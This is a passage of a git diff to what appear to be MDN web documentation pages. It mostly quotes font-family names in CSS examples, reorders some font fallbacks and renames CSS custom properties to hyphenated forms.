 @font-palette-values --yellow-nabla {
-  font-family: Nabla;
+  font-family: "Nabla";
   base-palette: 7; /* this is Nabla's yellow palette */
 }
 
diff --git a/files/en-us/web/css/font-size-adjust/index.md b/files/en-us/web/css/font-size-adjust/index.md
index d9038c570793e27..65286401c33e49d 100644
--- a/files/en-us/web/css/font-size-adjust/index.md
+++ b/files/en-us/web/css/font-size-adjust/index.md
@@ -117,12 +117,12 @@ Similarly, the cap-height to font size ratio in Verdana is `0.73` and that in Ti
 
 ```css
 .times {
-  font-family: Times, serif;
+  font-family: "Times", serif;
   font-size: 14px;
 }
 
 .verdana {
-  font-family: Verdana, sans-serif;
+  font-family: "Verdana", sans-serif;
   font-size: 14px;
 }
 
@@ -189,7 +189,7 @@ div {
 }
 
 p {
-  font-family: Futura, sans-serif;
+  font-family: "Futura", sans-serif;
   font-size: 50px;
 }
 
diff --git a/files/en-us/web/css/font-stretch/index.md b/files/en-us/web/css/font-stretch/index.md
index 19a0b0b78f66bfa..32b11d033da0cdc 100644
--- a/files/en-us/web/css/font-stretch/index.md
+++ b/files/en-us/web/css/font-stretch/index.md
@@ -57,7 +57,7 @@ font-stretch: 150%;
 ```css interactive-example
 @font-face {
   src: url("/shared-assets/fonts/LeagueMono-VF.ttf") format("truetype");
-  font-family: League;
+  font-family: "League";
   font-style: normal;
   font-weight: 400;
   font-stretch: 50% 200%; /* Required by Chrome - allow 50% to 200% */
@@ -65,7 +65,7 @@ font-stretch: 150%;
 
 section {
   font-size: 1.2em;
-  font-family: League, sans-serif;
+  font-family: "League", sans-serif;
 }
 ```
 
@@ -159,7 +159,7 @@ td {
 
 #inconsolata td {
   font:
-    90px Inconsolata,
+    90px "Inconsolata",
     sans-serif;
 }
 #anek-malayalam td {
diff --git a/files/en-us/web/css/font-style/index.md b/files/en-us/web/css/font-style/index.md
index fec263c8c19c089..e83f27747a992e2 100644
--- a/files/en-us/web/css/font-style/index.md
+++ b/files/en-us/web/css/font-style/index.md
@@ -41,13 +41,13 @@ font-style: oblique 40deg;
 ```css interactive-example
 @font-face {
   src: url("/shared-assets/fonts/variable-fonts/AmstelvarAlpha-VF.ttf");
-  font-family: Amstelvar;
+  font-family: "Amstelvar";
   font-style: normal;
 }
 
 section {
   font-size: 1.2em;
-  font-family: Amstelvar, serif;
+  font-family: "Amstelvar", serif;
 }
 ```
 
diff --git a/files/en-us/web/css/font-synthesis/index.md b/files/en-us/web/css/font-synthesis/index.md
index 169ca4c3d00e1c5..80247104f484d02 100644
--- a/files/en-us/web/css/font-synthesis/index.md
+++ b/files/en-us/web/css/font-synthesis/index.md
@@ -55,7 +55,7 @@ font-synthesis: position;
 
 ```css interactive-example
 @font-face {
-  font-family: Oxygen;
+  font-family: "Oxygen";
   font-style: normal;
   font-weight: 400;
   src: url("https://fonts.gstatic.com/s/oxygen/v14/2sDfZG1Wl4LcnbuKjk0m.woff2")
@@ -110,7 +110,7 @@ font-synthesis: position;
 
 .english {
   font-size: 1.2em;
-  font-family: Oxygen, sans-serif;
+  font-family: "Oxygen", sans-serif;
 }
 
 .chinese {
diff --git a/files/en-us/web/css/font-variant-alternates/index.md b/files/en-us/web/css/font-variant-alternates/index.md
index d79643977b7c15a..a22f13a9fcde8ff 100644
--- a/files/en-us/web/css/font-variant-alternates/index.md
+++ b/files/en-us/web/css/font-variant-alternates/index.md
@@ -91,7 +91,7 @@ We can then use that name inside `font-variant-alternates` to switch on swashes
 
 ```css
 @font-face {
-  font-family: MonteCarlo;
+  font-family: "MonteCarlo";
   src: url("/shared-assets/fonts/monte-carlo/monte-carlo-regular.woff2");
 }
 
diff --git a/files/en-us/web/css/font-variant-east-asian/index.md b/files/en-us/web/css/font-variant-east-asian/index.md
index 25996eef507945a..34452f0828f7d4d 100644
--- a/files/en-us/web/css/font-variant-east-asian/index.md
+++ b/files/en-us/web/css/font-variant-east-asian/index.md
@@ -39,7 +39,7 @@ font-variant-east-asian: proportional-width;
 ```css interactive-example
 section {
   font-family:
-    "YuGothic Medium", YuGothic, "Yu Gothic Medium", "Yu Gothic", sans-serif;
+    "YuGothic Medium", "YuGothic", "Yu Gothic Medium", "Yu Gothic", sans-serif;
   margin-top: 10px;
   font-size: 1.5em;
 }
diff --git a/files/en-us/web/css/font-variant-ligatures/index.md b/files/en-us/web/css/font-variant-ligatures/index.md
index aae8039bfcad670..e15c095a1e9ae12 100644
--- a/files/en-us/web/css/font-variant-ligatures/index.md
+++ b/files/en-us/web/css/font-variant-ligatures/index.md
@@ -167,7 +167,7 @@ The `font-variant-ligatures` property is specified as `normal`, `none`, or one o
 
 ```css
 p {
-  font-family: Lora, serif;
+  font-family: "Lora", serif;
 }
 .normal {
   font-variant-ligatures: normal;
diff --git a/files/en-us/web/css/font-variation-settings/index.md b/files/en-us/web/css/font-variation-settings/index.md
index d6c3b28319b153d..e79262f278a86e4 100644
--- a/files/en-us/web/css/font-variation-settings/index.md
+++ b/files/en-us/web/css/font-variation-settings/index.md
@@ -38,13 +38,13 @@ font-variation-settings: "wdth" 75;
 ```css interactive-example
 @font-face {
   src: url("/shared-assets/fonts/variable-fonts/AmstelvarAlpha-VF.ttf");
-  font-family: Amstelvar;
+  font-family: "Amstelvar";
   font-style: normal;
 }
 
 p {
   font-size: 1.5rem;
-  font-family: Amstelvar, serif;
+  font-family: "Amstelvar", serif;
 }
 ```
 
@@ -179,7 +179,7 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Amstelvar VF",
-    Georgia,
+    "Georgia",
     serif;
   font-size: 4rem;
   margin: 1rem;
@@ -264,7 +264,7 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Roboto VF",
-    Helvetica,
+    "Helvetica",
     sans-serif;
   font-size: 4rem;
   margin: 1rem;
diff --git a/files/en-us/web/css/font/index.md b/files/en-us/web/css/font/index.md
index 912e175e85fafb9..d52ae138cf5ce8a 100644
--- a/files/en-us/web/css/font/index.md
+++ b/files/en-us/web/css/font/index.md
@@ -412,7 +412,7 @@ p {
 ```css hidden
 body,
 input {
-  font: 14px Arial;
+  font: 14px "Arial";
   overflow: hidden;
 }
 
diff --git a/files/en-us/web/css/if/index.md b/files/en-us/web/css/if/index.md
index 1dfff648c3ba261..6f3127b169b4c89 100644
--- a/files/en-us/web/css/if/index.md
+++ b/files/en-us/web/css/if/index.md
@@ -489,7 +489,7 @@ In our CSS, we give the `<body>` element a {{cssxref("max-width")}} of `700px` a
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 p {
diff --git a/files/en-us/web/css/interpolate-size/index.md b/files/en-us/web/css/interpolate-size/index.md
index 0447f49a5b8814c..3a58e74c9c663c5 100644
--- a/files/en-us/web/css/interpolate-size/index.md
+++ b/files/en-us/web/css/interpolate-size/index.md
@@ -115,7 +115,7 @@ The HTML contains a single {{htmlelement("section")}} element with [`tabindex="0
 }
 
 section {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 175px;
   border-radius: 5px;
   background: #eeeeee;
diff --git a/files/en-us/web/css/justify-items/index.md b/files/en-us/web/css/justify-items/index.md
index c5aa19b3c5feb45..2929c85cf71cc38 100644
--- a/files/en-us/web/css/justify-items/index.md
+++ b/files/en-us/web/css/justify-items/index.md
@@ -182,7 +182,7 @@ If you hover or tab onto the grid container however, it is given a `justify-item
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   letter-spacing: 1px;
 }
 
diff --git a/files/en-us/web/css/justify-self/index.md b/files/en-us/web/css/justify-self/index.md
index bff8e7fce63188b..179dc05d2b1c325 100644
--- a/files/en-us/web/css/justify-self/index.md
+++ b/files/en-us/web/css/justify-self/index.md
@@ -178,7 +178,7 @@ The second, third, and fourth grid items are then given different values of `jus
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   letter-spacing: 1px;
 }
 
diff --git a/files/en-us/web/css/letter-spacing/index.md b/files/en-us/web/css/letter-spacing/index.md
index eb635650e5439a9..6be3f1fbea5d839 100644
--- a/files/en-us/web/css/letter-spacing/index.md
+++ b/files/en-us/web/css/letter-spacing/index.md
@@ -39,13 +39,13 @@ letter-spacing: -1px;
 ```css interactive-example
 @font-face {
   src: url("/shared-assets/fonts/variable-fonts/AmstelvarAlpha-VF.ttf");
-  font-family: Amstelvar;
+  font-family: "Amstelvar";
   font-style: normal;
 }
 
 section {
   font-size: 1.2em;
-  font-family: Amstelvar, serif;
+  font-family: "Amstelvar", serif;
 }
 ```
 
diff --git a/files/en-us/web/css/line-break/index.md b/files/en-us/web/css/line-break/index.md
index 99ac62de729d06d..687245113245697 100644
--- a/files/en-us/web/css/line-break/index.md
+++ b/files/en-us/web/css/line-break/index.md
@@ -36,7 +36,7 @@ line-break: loose;
 
 ```css interactive-example
 #example-element {
-  font-family: "Yu Gothic", YuGothic, Meiryo, "ＭＳ ゴシック", sans-serif;
+  font-family: "Yu Gothic", "YuGothic", "Meiryo", "ＭＳ ゴシック", sans-serif;
   border: 2px dashed #999999;
   text-align: left;
   width: 240px;
diff --git a/files/en-us/web/css/line-height/index.md b/files/en-us/web/css/line-height/index.md
index ab5a31ef2e5946f..b43fe473fc278d8 100644
--- a/files/en-us/web/css/line-height/index.md
+++ b/files/en-us/web/css/line-height/index.md
@@ -41,7 +41,7 @@ line-height: 32px;
 
 ```css interactive-example
 #example-element {
-  font-family: Georgia, sans-serif;
+  font-family: "Georgia", serif;
   max-width: 200px;
 }
 ```
@@ -130,8 +130,8 @@ div {
 /* font shorthand */
 div {
   font:
-    10pt/1.2 Georgia,
-    "Bitstream Charter",
+    10pt/1.2 "Bitstream Charter",
+    "Georgia",
     serif;
 }
 ```
diff --git a/files/en-us/web/css/object-fit/index.md b/files/en-us/web/css/object-fit/index.md
index 9dc60a8f9e924e1..2e9ac8fc8680eb6 100644
--- a/files/en-us/web/css/object-fit/index.md
+++ b/files/en-us/web/css/object-fit/index.md
@@ -131,9 +131,7 @@ The `object-fit` property is specified as a single keyword chosen from the list
 
 ```css
 h2 {
-  font-family:
-    Courier New,
-    monospace;
+  font-family: "Courier New", monospace;
   font-size: 1em;
   margin: 1em 0 0.3em;
 }
diff --git a/files/en-us/web/css/overlay/index.md b/files/en-us/web/css/overlay/index.md
index cc62176e2cdfda4..22e9fa42b06574d 100644
--- a/files/en-us/web/css/overlay/index.md
+++ b/files/en-us/web/css/overlay/index.md
@@ -68,7 +68,7 @@ The `overlay` property is only present in the list of transitioned properties. A
 
 ```css
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 [popover]:popover-open {
diff --git a/files/en-us/web/css/page/index.md b/files/en-us/web/css/page/index.md
index 92a78d5054ac99c..b120b206ab6956b 100644
--- a/files/en-us/web/css/page/index.md
+++ b/files/en-us/web/css/page/index.md
@@ -197,7 +197,7 @@ The `break-after: page;` is used to split them up, which splits each chapter int
   }
   section {
     font-size: 2rem;
-    font-family: Roboto, sans-serif;
+    font-family: "Roboto", sans-serif;
   }
   .chapter {
     border: tomato 2px solid;
@@ -205,22 +205,22 @@ The `break-after: page;` is used to split them up, which splits each chapter int
   [data-print="grouped"] > #toc,
   [data-print="paged"] > #toc {
     page: toc;
-    font-family: Courier;
+    font-family: "Courier New";
   }
   [data-print="grouped"] > #foreword,
   [data-print="paged"] > #foreword {
     page: foreword;
-    font-family: Courier;
+    font-family: "Courier New";
   }
   [data-print="grouped"] > #introduction,
   [data-print="paged"] > #introduction {
     page: introduction;
-    font-family: Courier;
+    font-family: "Courier New";
   }
   [data-print="grouped"] > #conclusion,
   [data-print="paged"] > #conclusion {
     page: conclusion;
-    font-family: Courier;
+    font-family: "Courier New";
   }
   [data-print="grouped"] > .chapter,
   [data-print="paged"] > .chapter {
diff --git a/files/en-us/web/css/place-self/index.md b/files/en-us/web/css/place-self/index.md
index 0ae57cfdb516356..f06770c25cfb0dd 100644
--- a/files/en-us/web/css/place-self/index.md
+++ b/files/en-us/web/css/place-self/index.md
@@ -149,7 +149,7 @@ The second, third, and fourth grid items are then given different values of `pla
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   letter-spacing: 1px;
 }
 
diff --git a/files/en-us/web/css/position/index.md b/files/en-us/web/css/position/index.md
index ab53201d7add262..e2999f10d34c6c5 100644
--- a/files/en-us/web/css/position/index.md
+++ b/files/en-us/web/css/position/index.md
@@ -433,8 +433,8 @@ dt {
   border-top: 1px solid #717d85;
   color: white;
   font:
-    bold 18px/21px Helvetica,
-    Arial,
+    bold 18px/21px "Helvetica",
+    "Arial",
     sans-serif;
   margin: 0;
   padding: 2px 0 0 12px;
@@ -445,8 +445,8 @@ dt {
 
 dd {
   font:
-    bold 20px/45px Helvetica,
-    Arial,
+    bold 20px/45px "Helvetica",
+    "Arial",
     sans-serif;
   margin: 0;
   padding-left: 12px;
@@ -498,7 +498,7 @@ div {
   overflow: scroll;
   scrollbar-width: thin;
   font-size: 16px;
-  font-family: Verdana;
+  font-family: "Verdana";
   border: 1px solid;
 }
 
diff --git a/files/en-us/web/css/progress/index.md b/files/en-us/web/css/progress/index.md
index 747101dbc74231e..f019becdfedb127 100644
--- a/files/en-us/web/css/progress/index.md
+++ b/files/en-us/web/css/progress/index.md
@@ -119,10 +119,10 @@ The next example is an update of the previous one, in which we've used custom pr
 width: calc(
   progress(
       var(--container-width),
-      var(--custom-minwidth),
-      var(--custom-maxwidth)
+      var(--custom-min-width),
+      var(--custom-max-width)
     ) *
-    var(--custom-maxwidth)
+    var(--custom-max-width)
 );
 ```
 
@@ -136,16 +136,16 @@ background-color: rgb(
       255 *
         progress(
           var(--container-width),
-          var(--custom-minwidth),
-          var(--custom-maxwidth)
+          var(--custom-min-width),
+          var(--custom-max-width)
         )
     )
     calc(
       255 *
         progress(
           var(--container-width),
-          var(--custom-minwidth),
-          var(--custom-maxwidth)
+          var(--custom-min-width),
+          var(--custom-max-width)
         )
     )
     255 / 0.5
@@ -190,12 +190,12 @@ section {
 
 ```css live-sample___basic
 section {
-  --custom-minwidth: 300px;
-  --custom-maxwidth: 700px;
+  --custom-min-width: 300px;
+  --custom-max-width: 700px;
   --custom-width: 600px;
 
-  min-width: var(--custom-minwidth);
-  max-width: var(--custom-maxwidth);
+  min-width: var(--custom-min-width);
+  max-width: var(--custom-max-width);
   width: var(--custom-width);
 
   background-color: cyan;
@@ -212,8 +212,8 @@ Now onto our `<div>` — we first give it a `height` and a dark `background-colo
   width: calc(
     progress(
         var(--custom-width),
-        var(--custom-minwidth),
-        var(--custom-maxwidth)
+        var(--custom-min-width),
+        var(--custom-max-width)
       ) *
       100%
   );
@@ -286,13 +286,13 @@ body {
   display: flex;
   justify-content: center;
   align-items: center;
-  --custom-minwidth: 320px;
-  --custom-maxwidth: 1200px;
+  --custom-min-width: 320px;
+  --custom-max-width: 1200px;
 }
 
 article {
-  min-width: var(--custom-minwidth);
-  max-width: var(--custom-maxwidth);
+  min-width: var(--custom-min-width);
+  max-width: var(--custom-max-width);
   position: relative;
   width: 70%;
   height: 600px;
@@ -309,8 +309,8 @@ We also give it a `height` and {{cssxref("background-color")}}, then absolutely
   width: calc(
     progress(
         var(--container-width),
-        var(--custom-minwidth),
-        var(--custom-maxwidth)
+        var(--custom-min-width),
+        var(--custom-max-width)
       ) *
       100%
   );
@@ -328,12 +328,12 @@ Next, we'll look at our `background` `<section>`. We absolutely position it rela
 .background {
   position: absolute;
   inset: 0;
-  background-image: url(https://mdn.github.io/shared-assets/images/examples/wide-background.jpg);
+  background-image: url("https://mdn.github.io/shared-assets/images/examples/wide-background.jpg");
   background-position-x: calc(
     progress(
         var(--container-width),
-        var(--custom-minwidth),
-        var(--custom-maxwidth)
+        var(--custom-min-width),
+        var(--custom-max-width)
       ) *
       100%
   );
@@ -355,16 +355,16 @@ We position the `content` `<section>` absolutely so it sits over the top of the
         255 *
           progress(
             var(--container-width),
-            var(--custom-minwidth),
-            var(--custom-maxwidth)
+            var(--custom-min-width),
+            var(--custom-max-width)
           )
       )
       calc(
         255 *
           progress(
             var(--container-width),
-            var(--custom-minwidth),
-            var(--custom-maxwidth)
+            var(--custom-min-width),
+            var(--custom-max-width)
           )
       )
       255 / 0.5
@@ -373,8 +373,8 @@ We position the `content` `<section>` absolutely so it sits over the top of the
     (
         progress(
             var(--container-width),
-            var(--custom-minwidth),
-            var(--custom-maxwidth)
+            var(--custom-min-width),
+            var(--custom-max-width)
           ) /
           2
       ) +
diff --git a/files/en-us/web/css/scroll-target-group/index.md b/files/en-us/web/css/scroll-target-group/index.md
index bc3b86bffea1453..01dccd59685c990 100644
--- a/files/en-us/web/css/scroll-target-group/index.md
+++ b/files/en-us/web/css/scroll-target-group/index.md
@@ -307,7 +307,7 @@ We complete the code by setting some styles on the `:target-current`, `a:hover`,
 
 body {
   margin: 0;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/selector_list/index.md b/files/en-us/web/css/selector_list/index.md
index 8a213dc6e81f2af..db5367fc7de9d59 100644
--- a/files/en-us/web/css/selector_list/index.md
+++ b/files/en-us/web/css/selector_list/index.md
@@ -46,7 +46,7 @@ This example shows grouping selectors in a single line using a comma-separated l
 
 ```css-nolint
 h1, h2, h3, h4, h5, h6 {
-  font-family: Helvetica, Arial;
+  font-family: "Helvetica", "Arial";
 }
 ```
 
diff --git a/files/en-us/web/css/superellipse/index.md b/files/en-us/web/css/superellipse/index.md
index 2a2429990ccf0a2..2b72952f951d39a 100644
--- a/files/en-us/web/css/superellipse/index.md
+++ b/files/en-us/web/css/superellipse/index.md
@@ -161,7 +161,7 @@ In this example, two [`<input type="range">`](/en-US/docs/Web/HTML/Reference/Ele
 
 ```css hidden live-sample___value-comparison
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/css/text-decoration-skip-ink/index.md b/files/en-us/web/css/text-decoration-skip-ink/index.md
index 2209f7851967b07..1c13744e027a03d 100644
--- a/files/en-us/web/css/text-decoration-skip-ink/index.md
+++ b/files/en-us/web/css/text-decoration-skip-ink/index.md
@@ -29,7 +29,7 @@ text-decoration-skip-ink: none;
 ```css interactive-example
 p {
   font:
-    1.9em Georgia,
+    1.9em "Georgia",
     serif;
   text-decoration: underline;
 }
diff --git a/files/en-us/web/css/text-shadow/index.md b/files/en-us/web/css/text-shadow/index.md
index 1d42f71ff918e5e..c43697c85f0b285 100644
--- a/files/en-us/web/css/text-shadow/index.md
+++ b/files/en-us/web/css/text-shadow/index.md
@@ -49,7 +49,7 @@ text-shadow:
 ```css interactive-example
 p {
   font:
-    1.5em Georgia,
+    1.5em "Georgia",
     serif;
 }
 ```
@@ -135,7 +135,7 @@ This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first
     0 0 0.2em blue;
   color: white;
   font:
-    1.5em Georgia,
+    1.5em "Georgia",
     serif;
 }
 ```
diff --git a/files/en-us/web/css/text-wrap-mode/index.md b/files/en-us/web/css/text-wrap-mode/index.md
index 4f4bc22afe238eb..4cbec6b255b2eb9 100644
--- a/files/en-us/web/css/text-wrap-mode/index.md
+++ b/files/en-us/web/css/text-wrap-mode/index.md
@@ -100,7 +100,7 @@ The default setting is to wrap the content so the `text-wrap-mode` property is n
 
 ```css
 .box {
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   font-weight: bold;
   font-size: 64px;
   box-sizing: border-box;
@@ -129,7 +129,7 @@ In this example the content will **not** flow over to the next line so that it f
 
 ```css
 .box {
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   font-weight: bold;
   font-size: 64px;
   box-sizing: border-box;
diff --git a/files/en-us/web/css/transition-behavior/index.md b/files/en-us/web/css/transition-behavior/index.md
index 01a8b6d6a528a9f..8f436d73820c660 100644
--- a/files/en-us/web/css/transition-behavior/index.md
+++ b/files/en-us/web/css/transition-behavior/index.md
@@ -101,7 +101,7 @@ The HTML contains a {{htmlelement("div")}} element declared as a popover using t
 
 ```css hidden
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 [popover] {
diff --git a/files/en-us/web/css/view-timeline-axis/index.md b/files/en-us/web/css/view-timeline-axis/index.md
index 43de3295dbb8914..2633e4a0940cd17 100644
--- a/files/en-us/web/css/view-timeline-axis/index.md
+++ b/files/en-us/web/css/view-timeline-axis/index.md
@@ -123,7 +123,7 @@ Also worth noting is that the subject element has an `animation-duration` applie
 }
 
 p {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 p {
diff --git a/files/en-us/web/css/view-timeline-inset/index.md b/files/en-us/web/css/view-timeline-inset/index.md
index 3b87f2da348a91a..ffe08d09bed8759 100644
--- a/files/en-us/web/css/view-timeline-inset/index.md
+++ b/files/en-us/web/css/view-timeline-inset/index.md
@@ -119,7 +119,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/view-timeline-name/index.md b/files/en-us/web/css/view-timeline-name/index.md
index 4421058f9b51f2b..2ca469aec7e8853 100644
--- a/files/en-us/web/css/view-timeline-name/index.md
+++ b/files/en-us/web/css/view-timeline-name/index.md
@@ -109,7 +109,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/view-timeline/index.md b/files/en-us/web/css/view-timeline/index.md
index b2e0cf006efb96f..75e2b1ce05da698 100644
--- a/files/en-us/web/css/view-timeline/index.md
+++ b/files/en-us/web/css/view-timeline/index.md
@@ -134,7 +134,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/view-transition-name/index.md b/files/en-us/web/css/view-transition-name/index.md
index e4b33f75884e036..71a20c15ea0f4ad 100644
--- a/files/en-us/web/css/view-transition-name/index.md
+++ b/files/en-us/web/css/view-transition-name/index.md
@@ -256,7 +256,7 @@ We use [flexbox](/en-US/docs/Web/CSS/CSS_flexible_box_layout) to lay out the `<l
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   height: 100%;
 }
 
diff --git a/files/en-us/web/css/word-spacing/index.md b/files/en-us/web/css/word-spacing/index.md
index c9ce3dad49093c0..82001c3f987cfbf 100644
--- a/files/en-us/web/css/word-spacing/index.md
+++ b/files/en-us/web/css/word-spacing/index.md
@@ -39,13 +39,13 @@ word-spacing: -0.4ch;
 ```css interactive-example
 @font-face {
   src: url("/shared-assets/fonts/variable-fonts/AmstelvarAlpha-VF.ttf");
-  font-family: Amstelvar;
+  font-family: "Amstelvar";
   font-style: normal;
 }
 
 section {
   font-size: 1.2em;
-  font-family: Amstelvar, serif;
+  font-family: "Amstelvar", serif;
 }
 ```
 
diff --git a/files/en-us/web/html/reference/elements/caption/index.md b/files/en-us/web/html/reference/elements/caption/index.md
index 5ff5594560f5fdb..e0397b49265bb66 100644
--- a/files/en-us/web/html/reference/elements/caption/index.md
+++ b/files/en-us/web/html/reference/elements/caption/index.md
@@ -77,7 +77,7 @@ tr:nth-child(odd) td {
 
 .heman {
   font:
-    1.4rem molot,
+    1.4rem "molot",
     sans-serif;
   text-shadow:
     1px 1px 1px white,
@@ -86,7 +86,7 @@ tr:nth-child(odd) td {
 
 .skeletor {
   font:
-    1.7rem rapscallion,
+    1.7rem "rapscallion",
     fantasy;
   letter-spacing: 3px;
   text-shadow:
diff --git a/files/en-us/web/html/reference/elements/code/index.md b/files/en-us/web/html/reference/elements/code/index.md
index a2a58c9eeb5aaa7..583f33c9a405035 100644
--- a/files/en-us/web/html/reference/elements/code/index.md
+++ b/files/en-us/web/html/reference/elements/code/index.md
@@ -21,7 +21,7 @@ The **`<code>`** [HTML](/en-US/docs/Web/HTML) element displays its contents styl
 code {
   background-color: #eeeeee;
   border-radius: 3px;
-  font-family: courier, monospace;
+  font-family: "Courier New", monospace;
   padding: 0 3px;
 }
 ```
diff --git a/files/en-us/web/html/reference/elements/details/index.md b/files/en-us/web/html/reference/elements/details/index.md
index 6b8e7fe398a2d42..ac7b6112fbd606f 100644
--- a/files/en-us/web/html/reference/elements/details/index.md
+++ b/files/en-us/web/html/reference/elements/details/index.md
@@ -172,7 +172,7 @@ Now let's apply some CSS to customize the appearance of the disclosure box.
 details {
   font:
     16px "Open Sans",
-    Calibri,
+    "Calibri",
     sans-serif;
   width: 620px;
 }
diff --git a/files/en-us/web/html/reference/elements/ins/index.md b/files/en-us/web/html/reference/elements/ins/index.md
index 32c344bea1f7ca5..e2b1f5377d7a135 100644
--- a/files/en-us/web/html/reference/elements/ins/index.md
+++ b/files/en-us/web/html/reference/elements/ins/index.md
@@ -53,7 +53,7 @@ ins::before {
 
 p {
   margin: 0 1.8rem;
-  font-family: Georgia, serif;
+  font-family: "Georgia", serif;
   font-size: 1rem;
 }
 ```
diff --git a/files/en-us/web/html/reference/elements/main/index.md b/files/en-us/web/html/reference/elements/main/index.md
index 7a4dfba689d806a..dbc0af6e81ac62f 100644
--- a/files/en-us/web/html/reference/elements/main/index.md
+++ b/files/en-us/web/html/reference/elements/main/index.md
@@ -29,7 +29,7 @@ The **`<main>`** [HTML](/en-US/docs/Web/HTML) element represents the dominant co
 ```css interactive-example
 header {
   font:
-    bold 7vw Arial,
+    bold 7vw "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/web/html/reference/elements/slot/index.md b/files/en-us/web/html/reference/elements/slot/index.md
index 4cc00f5ce9e7db9..9c18cc2687bb1a9 100644
--- a/files/en-us/web/html/reference/elements/slot/index.md
+++ b/files/en-us/web/html/reference/elements/slot/index.md
@@ -21,7 +21,7 @@ This element includes the [global attributes](/en-US/docs/Web/HTML/Reference/Glo
 <template id="element-details-template">
   <style>
     details {
-      font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
+      font-family: "Open Sans Light", "Helvetica", "Arial", sans-serif;
     }
     .name {
       font-weight: bold;
diff --git a/files/en-us/web/html/reference/elements/summary/index.md b/files/en-us/web/html/reference/elements/summary/index.md
index daa2678b9a77243..3405f9b1884a325 100644
--- a/files/en-us/web/html/reference/elements/summary/index.md
+++ b/files/en-us/web/html/reference/elements/summary/index.md
@@ -146,7 +146,7 @@ In the first disclosure widget, we style the `::marker`, changing the {{cssxref(
 ```css
 details {
   font-size: 1rem;
-  font-family: "Open Sans", Calibri, sans-serif;
+  font-family: "Open Sans", "Calibri", sans-serif;
   border: solid;
   padding: 2px 6px;
   margin-bottom: 1em;
diff --git a/files/en-us/web/html/reference/elements/table/index.md b/files/en-us/web/html/reference/elements/table/index.md
index 9b28c88ad6386f6..120da5ed77fb73e 100644
--- a/files/en-us/web/html/reference/elements/table/index.md
+++ b/files/en-us/web/html/reference/elements/table/index.md
@@ -589,8 +589,8 @@ table {
   border: 2px solid rgb(140 140 140);
   font:
     16px "Open Sans",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -683,8 +683,8 @@ table {
   border: 2px solid rgb(140 140 140);
   font:
     16px "Open Sans",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
 }
 
diff --git a/files/en-us/web/html/reference/elements/tt/index.md b/files/en-us/web/html/reference/elements/tt/index.md
index 27a7db957f53a26..661ab9d8c7bf295 100644
--- a/files/en-us/web/html/reference/elements/tt/index.md
+++ b/files/en-us/web/html/reference/elements/tt/index.md
@@ -50,7 +50,7 @@ You can override the browser's default font—if the browser permits you to do s
 
 ```css
 tt {
-  font-family: "Lucida Console", "Menlo", "Monaco", "Courier", monospace;
+  font-family: "Lucida Console", "Menlo", "Monaco", "Courier New", monospace;
 }
 ```
 
diff --git a/files/en-us/web/html/reference/global_attributes/contenteditable/index.md b/files/en-us/web/html/reference/global_attributes/contenteditable/index.md
index 83ae7e9c93c5b54..4e0eac433afc2c1 100644
--- a/files/en-us/web/html/reference/global_attributes/contenteditable/index.md
+++ b/files/en-us/web/html/reference/global_attributes/contenteditable/index.md
@@ -116,7 +116,7 @@ h2 {
   margin-bottom: 0;
 }
 .copying {
-  font-family: Georgia, serif;
+  font-family: "Georgia", serif;
   margin: 1rem;
   padding: 1rem;
   border: solid black 1px;
diff --git a/files/en-us/web/javascript/guide/closures/index.md b/files/en-us/web/javascript/guide/closures/index.md
index 5f1d0aa9db3abf6..1ba8d46be6de1cc 100644
--- a/files/en-us/web/javascript/guide/closures/index.md
+++ b/files/en-us/web/javascript/guide/closures/index.md
@@ -112,7 +112,7 @@ For instance, suppose we want to add buttons to a page to adjust the text size.
 
 ```css
 body {
-  font-family: Helvetica, Arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   font-size: 12px;
 }
 
diff --git a/files/en-us/web/media/guides/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md b/files/en-us/web/media/guides/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md
index bd145bab6cbe25f..70b23013a2bc063 100644
